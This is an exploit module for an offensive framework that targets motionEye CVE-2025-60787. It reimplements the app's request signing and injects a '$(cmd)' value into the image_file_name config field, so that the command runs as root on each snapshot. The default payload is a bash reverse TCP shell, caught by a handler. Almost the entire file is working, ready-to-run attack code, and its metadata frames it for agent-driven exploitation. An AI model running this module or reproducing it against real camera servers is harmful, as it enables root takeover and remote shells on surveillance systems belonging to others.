motionEye CVE-2025-60787 root command injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""motionEye CVE-2025-60787 authenticated image_file_name command injection."""

from __future__ import annotations

import hashlib
import json
import re
import urllib.parse

import time

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "motionEye CVE-2025-60787 root command injection",
        "description": (
            "CVE-2025-60787 (motionEye <= 0.43.1b4): authenticated request signing "
            "allows POST /config/<cam>/set with image_file_name $(cmd) — executed as "
            "root on the next interval snapshot. signing_key must be the SHA1 of the "
            "admin password (same value stored as @admin_password in motion.conf)."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2025-60787"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2025-60787",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["motioneye", "cctv", "rce", "authenticated", "cve-2025-60787"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce"],
            "requires": {"tech_hints_any": ["motioneye"]},
            "chain": {"suggested_followups": ["scanner/http/motioneye_cve_2025_60787_detect"]},
        },
    }

    port = OptPort(8765, "motionEye HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    motion_user = OptString("admin", "motionEye username (_username param)", required=False)
    signing_key = OptString("", "SHA1(admin password) signing key", required=True)
    camera_id = OptString("1", "Camera config id", required=False)
    command = OptString("", "Shell command (overrides payload)", required=False)

    _SIGN_FILTER = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')

    def _sign(self, method: str, path: str, body: bytes, key: str) -> str:
        parts = list(urllib.parse.urlsplit(path))
        query = [
            x
            for x in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
            if x[0] != "_signature"
        ]
        query.sort(key=lambda x: x[0])
        query = [(n, urllib.parse.quote(v, safe="!'()*~")) for n, v in query]
        parts[0] = parts[1] = ""
        parts[3] = "&".join(f"{a}={b}" for a, b in query)
        norm_path = self._SIGN_FILTER.sub("-", urllib.parse.urlunsplit(parts))
        norm_key = self._SIGN_FILTER.sub("-", key)
        try:
            body_str = body.decode()
        except Exception:
            body_str = None
        if body_str and body_str.startswith("---"):
            body_str = None
        if body_str:
            body_str = self._SIGN_FILTER.sub("-", body_str)
        material = f"{method}:{norm_path}:{body_str or ''}:{norm_key}"
        return hashlib.sha1(material.encode()).hexdigest().lower()

    def _signed_path(self, method: str, path: str, body: bytes = b"") -> str:
        user = str(self.motion_user or "admin")
        key = str(self.signing_key or "")
        sep = "&" if "?" in path else "?"
        base = f"{path}{sep}_username={urllib.parse.quote(user)}"
        sig = self._sign(method, base, body, key)
        return f"{base}&_signature={sig}"

    def check(self):
        cam = str(self.camera_id or "1")
        path = self._signed_path("GET", f"/config/{cam}/get")
        resp = self.http_request("GET", path, allow_redirects=False)
        if resp and int(resp.status_code or 0) == 200:
            try:
                json.loads(resp.text or "{}")
                return {"vulnerable": True, "reason": "Signed config read succeeded", "confidence": "high"}
            except json.JSONDecodeError:
                pass
        code = int(getattr(resp, "status_code", 0) or 0)
        return {
            "vulnerable": False,
            "reason": f"Signed GET /config/{cam}/get failed (HTTP {code}) — check signing_key",
            "confidence": "medium",
        }

    def execute(self, cmd: str) -> str:
        cam = str(self.camera_id or "1")
        get_path = self._signed_path("GET", f"/config/{cam}/get")
        resp = self.http_request("GET", get_path)
        cfg = json.loads((resp.text or "{}") if resp else "{}")
        cfg["image_file_name"] = f"$({cmd})"
        cfg["capture_mode"] = "interval-snapshots"
        cfg["snapshot_interval"] = "5"
        body = json.dumps(cfg).encode()
        set_path = self._signed_path("POST", f"/config/{cam}/set", body)
        post = self.http_request(
            "POST",
            set_path,
            data=body,
            headers={"Content-Type": "application/json"},
        )
        if not post or int(post.status_code or 0) >= 400:
            return ""
        time.sleep(max(int(cfg.get("snapshot_interval") or 5), 5))
        return "scheduled"

    def check_execute(self):
        return self.check().get("vulnerable", False)

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False
        if not str(self.signing_key or "").strip():
            print_error("signing_key required (SHA1 of admin password)")
            return False

        if not self.check_execute():
            print_error("Auth/signing failed")
            self.not_vulnerable()
            return False

        print_status("CVE-2025-60787 — scheduling root command via snapshot hook")
        self.execute(cmd)
        print_success("Command scheduled on snapshot interval")

        if str(self.command or "").strip():
            return self.handler_execute()
        print_success("Payload scheduled — waiting for reverse handler session")
        return True